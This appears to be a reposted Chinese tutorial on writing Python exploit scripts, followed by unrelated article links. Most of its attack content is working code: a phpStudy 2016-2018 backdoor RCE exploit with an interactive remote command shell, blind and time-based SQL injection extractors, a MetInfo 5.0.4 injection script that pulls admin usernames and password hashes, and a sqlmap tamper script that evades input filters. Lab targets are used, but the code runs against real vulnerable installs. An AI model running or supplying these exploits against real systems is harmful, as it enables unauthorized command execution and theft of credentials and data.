Python灰帽编程——定制EXP之RCE

news2024/10/6 0:38:02

文章目录

  • 定制EXP之RCE
    • 1. 常见模块介绍
      • 1.1 base64
        • 1.1.1 base64 编码
        • 1.1.2 base64 解码
      • 1.2 string
    • 2. 常规 EXP 编写
      • 2.1 phpstudy_2016-2018_rce
        • 2.1.1 漏洞利用脚本
        • 2.1.2 进阶脚本
      • 2.2 SQL 注入 EXP
        • 2.2.1 布尔盲注
        • 2.2.2 延时注入
      • 2.3 metinfo_5.0.4 EXP编写
        • 2.3.1 SQL注入漏洞
    • 3. 定制SQLmap
      • 3.1 tamper脚本
      • 3.2 sqli-labs/less-26
      • 3.3 tamper脚本编写

定制EXP之RCE

四个常见概念:

  • POC:(Proof of Concept)概念验证,常指一段漏洞证明的代码。 作用:用来证明漏洞存在的(无害的)
  • EXP:(Exploit)利用,指利用系统漏洞进行攻击的动作。 作用:用来利用漏洞的(有害的)
  • Payload:(攻击载荷,指成功exploit之后,真正在目标系统执行的代码或指令。
  • Shellcode:利用漏洞时所执行的代码。Payload的一种,由于其建立正向/反向shell而得名。
名词解释
POC (Proof of Concept)漏洞验证代码,验证漏洞的存在性。
EXP (Exploit)渗透、攻击
完整的漏洞利用工具
RCE (Remote Code|Command Execute)漏洞的类型
在远程目标上执行代码或命令

手工验证漏洞的问题:

  • 效率
  • 准确性

针对RCE 漏洞开发EXP,常见的RCE 漏洞:

  • phpstudy_2016-2018_rce
  • seacms_6.26-6.28_rce
  • sangfor_edr_3.2.19_rce

考虑将写好的EXP 集成到pocsuite3框架中。

1. 常见模块介绍

1.1 base64

base64 模块就是用来进行base64 编解码操作的模块。

1.1.1 base64 编码

直接利用模块中函数即可,注意使用二进制形式进行编码

>>> import base64
>>> s = '''system("whoami");'''
>>> base64.b64encode(s.encode())
b'c3lzdGVtKCJ3aG9hbWkiKTs='
>>> base64.b64encode(s.encode()).decode()
'c3lzdGVtKCJ3aG9hbWkiKTs='
>>>
1.1.2 base64 解码

直接使用函数即可。

>>> import base64
>>> s = "c3lzdGVtKCJ3aG9hbWkiKTs="
>>> base64.b64decode(s)
b'system("whoami");'
>>> base64.b64decode(s).decode()
'system("whoami");'
>>>

1.2 string

字符集合模块。

>>> import string
>>> string.
string.Formatter(       string.ascii_uppercase  string.octdigits
string.Template(        string.capwords(        string.printable
string.ascii_letters    string.digits           string.punctuation
string.ascii_lowercase  string.hexdigits        string.whitespace
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
>>> string.printable.strip()
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
>>>

2. 常规 EXP 编写

2.1 phpstudy_2016-2018_rce

argparse简介。

2.1.1 漏洞利用脚本
# phpstudy_2016-2018_rce

"""
GET /phpinfo.php HTTP/1.1
Host: 10.4.7.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept-Encoding: gzip,deflate
Accept-Charset: 

"""

import requests
import base64

url = "http://10.4.7.130/phpinfo.php"

cmd = "net user"

cmd = f'''system("{cmd}");'''

cmd = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
    "Accept-Encoding"   : "gzip,deflate",
    "Accept-Charset"    : f"{cmd}"
}

res = requests.get(url = url, headers = headers)

html = res.content.decode("GBK")

offset = html.find("<!DOCTYPE html")

result = html[0:offset]

print(result)

说明:gzip,deflate逗号后面不加空格。

2.1.2 进阶脚本
  • 漏洞存在性测试:无损;
  • 循环执行命令。
import requests
import base64
import argparse
import string
import random
from pyfiglet import Figlet
from termcolor import colored

# banner信息
f = Figlet(font='slant')
print('**' * 25)
print('--' * 25) 
banner = f.renderText('backdoor')
print(banner)
print('--' * 25)
print('**' * 25)

# 创建选项指定对象
# ArgumentParser用于处理命令行参数的定义和解析。
parser = argparse.ArgumentParser()

# 设定选项
parser.add_argument('-u','--url',help = '指定检测的目标',dest="url")
parser.add_argument('-c','--cmd',help = '指定执行的命令',dest="cmd")

# 解析选项对象
# 调用parse_args()方法解析传递给脚本的命令行参数。
args = parser.parse_args()

if not args.url:
    print("[+] Usage: Python *.py -u http://192.168.188.187/phpinfo.php -c whoami")
    exit()

# 通过args对象的属性来访问各个参数的值。
url = args.url
cmd = args.cmd

print(f"[+] Target: {url}")
print(f"[+] Target: {cmd}")

# 漏洞检测
def attack(cmd):
    cmd = f"system('{cmd}');"

    # 因为b64encode在加密的时候需要二进制数据,所以cmd.encode()
    # 但是在headers中需要的是字符串,再将其进行解密decode()
    cmd = base64.b64encode(cmd.encode()).decode()

    headers= {
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset" : cmd
    }

    res = requests.get(url = url , headers = headers)

    html = res.content.decode("gbk")   
    result = html[:html.rfind("<!DOCTYPE html")]
    return result 

# 无损检测(输出随机字符串)
def verify():
    random_str = ""
    for i in range(10):
        # random.choice从字符串中随机选择一个字符
        # string.ascii_letters是string模块中的一个常量,它包含大小写字母 A-Z 和 a-z 的字符串。
        random_str += random.choice(string.ascii_letters)

    cmd = f"echo {random_str}"

    # 判断字符串是否打印成功
    if random_str in attack(cmd):
        print(colored(f"[+] Target {url} is VULNERABLE!","green"))
    else:
        print(colored(f"[+] Target {url} is NOT VULNERABLE!","red"))
        exit()    

verify()

flag = input(f"Could you want to continue?[Y/n]")
if flag == "n":
    exit()

while True:
    cmd = input("<➡️> ")
    if cmd == 'exit':
        break
        
    print(attack(cmd))

image-20230921163731532

image-20230921163830360

2.2 SQL 注入 EXP

2.2.1 布尔盲注

以sqli-labs/Less-8为例

字符型注入,但是没有回显、没有报错,考虑布尔盲注

image-20230921195637321

测试数据库位数

image-20230921195658821

测试数据名称每一位的字符

image-20230921195722666

脚本编写

import requests
import string

url = "http://192.168.188.187/sqli-labs/Less-8/"

con_len = 0
con = ""
i = 0

def get_true(url,payload):
    full_url = url + payload
    res = requests.get(url = full_url)
    # print(full_url)
    if "You are in..........." in res.text:
        return(True)
    else:
        return(False)

# 测试数据库长度
while True:
    i += 1
    payload= f"?id=1' and length(database())={i} -- "

    if get_true(url,payload):
        # 数据库长度
        con_len = i
        print(f"[*] The length is {con_len}")
        break

print("======================================================")

# 定义所猜测数据库名的字符(可打印字符)
c_set = string.printable.strip()

# 按位测试数据库名称
for i in range(con_len):
    for c in c_set:
        # ord(c) 是 Python 的内置函数之一,用于返回一个字符的 Unicode 码位(code point)。
        payload= f"?id=1' and ascii(substr(database(),{i + 1},1))={ord(c)} -- "

        # 调用函数发送数据包
        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            con += c
            print(f"[*] The content {con}")

print("======================================================")

j = 0
# 测试数据库中表名的长度
while True:
    j += 1
    payload= f"?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j} -- "

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"[*] The table length is {con_len}")
        break

print("======================================================")

table_name = ""
# 按位测试数据库中的表
for i in range(con_len):
    for c in c_set:
        payload= f"?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(c)} --+"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table_name += c
            print(f"[*] The table name {table_name}")

运行结果:

image-20230922153851758

2.2.2 延时注入

image-20230921200519049

脚本编写

import requests
import string

url = "http://192.168.188.187/sqli-labs/Less-9/"

con_len = 0
con = ""
i = 0

def get_timeout(url,payload):
    full_url = url + payload
    # print(full_url)
    try:
        res = requests.get(url = full_url, timeout = 3)
    except:
        return "timeout"
    else:
        return res.text

# 获取数据库长度
while True:
    i += 1
    payload = f"?id=1' and if(length(database())={i},sleep(5),1) -- "

    if "timeout" in get_timeout(url,payload):
        # 数据库长度
        con_len = i
        print(f"[*] The length is {con_len}")
        break

print("======================================================")

# 定义所猜测数据库名的字符(可打印字符)
c_set = string.printable.strip()

# 获取数据库名称
for i in range(con_len):
    for c in c_set:
        payload= f"?id=1' and if(ascii(substr(database(),{i + 1},1))={ord(c)},sleep(5),1) -- "

        if "timeout" in get_timeout(url,payload):
            # 数据库长度
            con += c 
            print(f"[*] The content {con}")

print("======================================================")

# 获取数据库表的长度
j = 0
while True:
    j+=1
    payload = f"?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j},sleep(5),1) -- "

    if "timeout" in get_timeout(url,payload):
        # 数据库长度
        con_len = j
        print(f"[*] The table length is {con_len}")
        break

print("======================================================")

table_name = ""
# 按位测试数据库中的表
for z in range(con_len):
    for c in c_set:
        payload = f"?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{z+1},1)='{c}',sleep(5),1) -- "

        if "timeout" in get_timeout(url,payload):
            # 数据库名称
            table_name += c 
            print(f"[*] The table name {table_name}")
            break

image-20230922153930306

2.3 metinfo_5.0.4 EXP编写

2.3.1 SQL注入漏洞

漏洞验证

页面正常

image-20230922112858770

页面不正常说明存在SQL注入。

image-20230922112914505

编写SQL脚本

import requests
import string

url = "http://192.168.188.187/metInfo_5.0.4/about/show.php?lang=cn&id=22"

con_len = 0
con = ""
i = 0

def get_true(url,payload):
    full_url = url + payload
    # print(full_url)
    res = requests.get(url = full_url)
    if "../404.html" not in res.text:
        return(True)
    else:
        return(False)

# 测试数据库长度
while True:
    i += 1
    payload= f" and length(database())={i}"

    if get_true(url,payload):
        # 数据库长度
        con_len = i
        print(f"[*] The length is {con_len}")
        break

# 定义所猜测数据库名的字符(可打印字符)
c_set = string.printable.strip()

# 按位测试数据库名称
for i in range(con_len):
    for c in c_set:
        # ord(c) 是 Python 的内置函数之一,用于返回一个字符的 Unicode 码位(code point)。
        payload= f" and ascii(substr(database(),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            con += c
            print(f"\r[*] The content {con}", end=' ')

print("\n======================================================")

j = 0
# 测试数据库中表名的长度
while True:
    j += 1
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j}"

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"\r[*] The table length is {con_len}", end=' ')
        break

print("\n======================================================")

table = ""
# 按位测试数据库中的表
for i in range(con_len):
    for c in c_set:
        payload= f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table += c
            print(f"\r[*] The table_name {table}", end=' ')

print("\n======================================================")

# 查找数据库中的字段的长度
while True:
    j += 1
    payload= f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name =0x6d65745f61646d696e5f7461626c65))={j}"

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"\r[*] The table length is {con_len}", end=' ')
        break
print("\n======================================================")

# 获取数据库中的字段的名字
for i in range(con_len):
    for c in c_set:
        payload= f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and  table_schema=database()),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table += c
            print(f"\r[*] The table_name {table}", end=' ')

print("\n======================================================")

# 获取用户名密码长度
while True:
    j += 1
    payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={j}"

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"\r[*] The length is {con_len}", end=' ')
        break
print("\n======================================================")

# 获取用户名密码
for i in range(con_len):
    for c in c_set:
        payload= f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table += c
            print(f"\r[*] The table_name {table}", end=' ')

3. 定制SQLmap

3.1 tamper脚本

SQLmap是一款SQL注入神器,可以通过tamper对注入payload进行编码和变形,已达到绕过某些限制的目的。但是有些时候,SQLmap自带的Tamper脚本有时候并不是特别好用,需要根据实际情况定制Tamper脚本。

sqlmap,Tamper详解及使用指南 – WebShell’S Blog。

3.2 sqli-labs/less-26

关卡分析

image-20230922135408862

image-20230922135459940

发现我们提交的结果中是有空格的,但是页面中的显示是没有空格的,说明空格被过滤了。并且and也被过滤了。

使用%a0替换空格和双写and来进行绕过。

image-20230922135807349

总结

被过滤字符如下:

字符替代字符
–+ #and '1 and 1='1
andanANDd
oroORr
空格%a0(linux 系统特性)

3.3 tamper脚本编写

sqlmap使用-v参数可以查看注入的payload

#这个要放到sql工具脚本中去使用
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    <space>             %a0
    and                 anANDd
    --+                  and '1
    or                  oORr
    """
    payload = re.sub(r"(?i)-- "," and 'lili",payload)
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i)\ ","%a0",payload)

    return payload

代码解析

  • re.sub() 是 Python 中 re 模块提供的一个函数,用于在字符串中执行正则表达式的替换操作。
  • (?i) 是一种正则表达式的标志,用于设置匹配模式为不区分大小写。通过使用 (?i) 标志,可以在查询中忽略字符的大小写差异。

执行结果

在–tamper后面跟上我们编写的脚本名称

python .\sqlmap.py -u "http://192.16
8.188.187/sqli-labs/Less-26/?id=1" -v3 --tamper sqli-labs_26

image-20230922142652382

image-20230922142706987

尝试爆破库名

python .\sqlmap.py -u "http://192.16
8.188.187/sqli-labs/Less-26/?id=1" -v3 --tamper sqli-labs_26 -dbs

image-20230922143631418

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1032702.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux操作系统教程】用户管理与权限管理你真的懂了吗(三)

&#x1f604;作者简介&#xff1a; 小曾同学.com,一个致力于测试开发的博主⛽️&#xff0c;主要职责&#xff1a;测试开发、CI/CD 如果文章知识点有错误的地方&#xff0c;还请大家指正&#xff0c;让我们一起学习&#xff0c;一起进步。&#x1f60a; 座右铭&#xff1a;不想…

早餐与风景

来吧&#xff0c;我用流水账描述下这一天。 时维九月&#xff0c;北京的早上有点冷&#xff0c;因为今天有个市场活动要去支撑&#xff0c;按照会议时间的要求&#xff0c;我需要在早上7点半就赶到会场&#xff0c;所以昨天晚上我加班到凌晨处理完了今天要给出去的材料&#xf…

ArrayList 的自动扩容机制

触发扩容 ArrayList 是一个数组结构的存储容器&#xff0c;默认情况下&#xff0c;数组的长度是 10 当然我们也可以在构建 ArrayList 对象的时候自己指定初始长度。随着在程序里面不断的往 ArrayList 中添加数据&#xff0c;当添加的数据达到 10 个的时候&#xff0c;ArrayLis…

[Linux入门]---Linux项目自动化构建工具-make/Makefile

目录 1.背景2.make指令输入make默认为Makefile文件第一条指令执行Makefile文件对gcc指令特殊处理及原理特殊符号 3.总结 1.背景 会不会写makefile&#xff0c;从一个侧面说明了一个人是否具备完成大型工程的能力一个工程中的源文件不计数&#xff0c;其按类型、功能、模块分别放…

【MATLAB第76期】基于MATLAB的代表性样本筛选方法合集(针对多输入单输出数据)

【MATLAB第76期】基于MATLAB的代表性样本筛选方法合集&#xff08;针对多输入单输出数据&#xff09; 前有筛选变量方法&#xff0c;如局部敏感性分析和全局敏感性分析方法介绍 。 今天提出另外一种思路&#xff0c;去对样本进行筛选。 使用场景&#xff1a; 场景1&#xff1a…

期刊目录解析 | 慎投!又2本“On Hold”SCI期刊被踢!

科睿唯安官方目前对SCI期刊的管理可以说是相当严格的&#xff0c;每个月都会出评估报告&#xff0c;如果任何一本期刊有问题&#xff0c;就会先被“On Hold”&#xff0c;这代表需要重新评估是否符合SCI标准&#xff0c;有可能直接被剔除。 此前&#xff0c;小编也为大家统计了…

rabbitMQ (1)

文章目录 1. RabbitMQ 介绍1.1 几个重要概念1.2 RabbitMq 的工作原理 2 RabbitMQ 安装3. RabbitMQ 入门操作3.1 添加依赖3.2 生产者代码3.3 消费者代码 4. Work Queues5. 管理端页面创建队列 1. RabbitMQ 介绍 引用 &#xff1a; RabbitMQ 是一个消息中间件&#xff1a;它接受…

Axure设计之引入ECharts图表

ECharts是一款基于JavaScript的可视化图表库&#xff0c;它提供了丰富的图表类型和交互功能&#xff0c;可以轻松地创建各种类型的图表&#xff0c;如折线图、柱状图、饼图、散点图等。 想要通过Axure实现ECharts示例中的某些图表效果&#xff0c;单纯靠Axure自带的功能是很难实…

C# 实现数独游戏

1.数独单元 public struct SudokuCell{public SudokuCell() : this(0, 0, 0){}public SudokuCell(int x, int y, int number){X x; Y y; Number number;}public int X { get; set; }public int Y { get; set; }public int Number { get; set; }} 2.数独创建 public class …

JVM 参数详解

GC有两种类型&#xff1a;Scavenge GC 和Full GC 1、Scavenge GC 一般情况下&#xff0c;当新对象生成&#xff0c;并且在Eden申请空间失败时&#xff0c;就会触发Scavenge GC&#xff0c;堆的Eden区域进行GC&#xff0c;清除非存活对象&#xff0c;并且把尚且存活的对象移动到…

mysql 命令

1.以root身份登录MySQL服务器 mysql -u root -p 2.输入root用户密码 显示命令 1. 显示数据库列表 show databases; 刚开始时才两个数据库&#xff1a;mysql和test。mysql库很重要它里面有MYSQL的系统信息&#xff0c;我们改密码和新增用户&#xff0c;实际上就是用这个库进…

AUTOSAR词典:CAN驱动Mailbox配置技术要点全解析

AUTOSAR词典&#xff1a;CAN驱动Mailbox配置技术要点全解析 前言 首先&#xff0c;请问大家几个小小问题&#xff0c;你清楚&#xff1a; AUTOSAR框架下的CAN驱动关键词定义吗&#xff1f;是不是有些总是傻傻分不清楚呢&#xff1f;CAN驱动Mailbox配置过程中有哪些关键配置参…

操作系统--------调度算法篇

目录 一.先来先服务调度算法&#xff08;FCFS&#xff09; 二.短作业优先调度算法&#xff08;SJF&#xff09; 2.1.SJF调度算法缺点 三.优先级调度算法 3.1优先级调度算法的类型 1.非抢占优先级调度算法 2.抢占优先级调度算法 3.2优先级的类型 3.1静态优先级 3.2动态…

2101. 引爆最多的炸弹;752. 打开转盘锁;1234. 替换子串得到平衡字符串

2101. 引爆最多的炸弹 核心思想&#xff1a;枚举BFS。枚举每个炸弹最多引爆多少个炸弹&#xff0c;对每个炸弹进行dfs&#xff0c;一个炸弹能否引爆另一个炸弹是两个炸弹的圆心距离在第一个炸弹的半径之内。 752. 打开转盘锁 核心思想:典型BFS&#xff0c;就像水源扩散一样&a…

MySQL数据库 -- 入门篇

1. MySQL概述 1.1 数据库相关概念 三个概念&#xff1a;数据库、数据库管理系统、SQL。 目前主流的关系型数据库管理系统的市场占有率排名如下&#xff1a; Oracle&#xff1a;大型的收费数据库&#xff0c;Oracle公司产品&#xff0c;价格昂贵。MySQL&#xff1a;开源免费…

力扣刷题-数组-螺旋矩阵

模拟过程&#xff0c;但却十分考察对代码的掌控能力。 重点&#xff1a;循环不变量原则&#xff01; 第一条原则&#xff1a; 模拟顺时针画矩阵的过程&#xff1a; 填充上行从左到右填充右列从上到下填充下行从右到左填充左列从下到上 由外向内一圈一圈这么画下去。 第二条原…

【探索Linux世界|中秋特辑】--- 倒计时和进度条的实现与演示

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【Linux专栏】&#x1f388; 本专栏旨在分享学习Linux的一点学习心得&#xff0c;欢迎大家在评论区讨论&#x1f48c; 演示环境&#xff1…

PageHelp插件在复杂sql下引起的Having无法识别错误及其解决方案

1: 问题出现的场景 系统中有一个复杂SQL内嵌套了多个子查询.在改动时需要将SQL的最后一行加上having来做额外的过滤处理. 添加完having语句后发现SQL能够正常执行就直接将代码提交到了测试环境.结果在测试环境报错Unknown column ‘xxx‘ in ‘having clause. 2: 分析问题 1…

公众号留言功能怎么打开?有什么条件?

为什么公众号没有留言功能&#xff1f;2018年2月12日&#xff0c;TX新规出台&#xff1a;根据相关规定和平台规则要求&#xff0c;我们暂时调整留言功能开放规则&#xff0c;后续新注册帐号无留言功能。这就意味着2018年2月12日号之后注册的公众号不论个人主体还是组织主体&…

十四、MySql的用户管理

文章目录 一、用户管理二、用户&#xff08;一&#xff09;用户信息&#xff08;二&#xff09;创建用户1.语法&#xff1a;2.案例&#xff1a; &#xff08;三&#xff09; 删除用户1.语法&#xff1a;2.示例&#xff1a; &#xff08;四&#xff09;修改用户密码1.语法&#…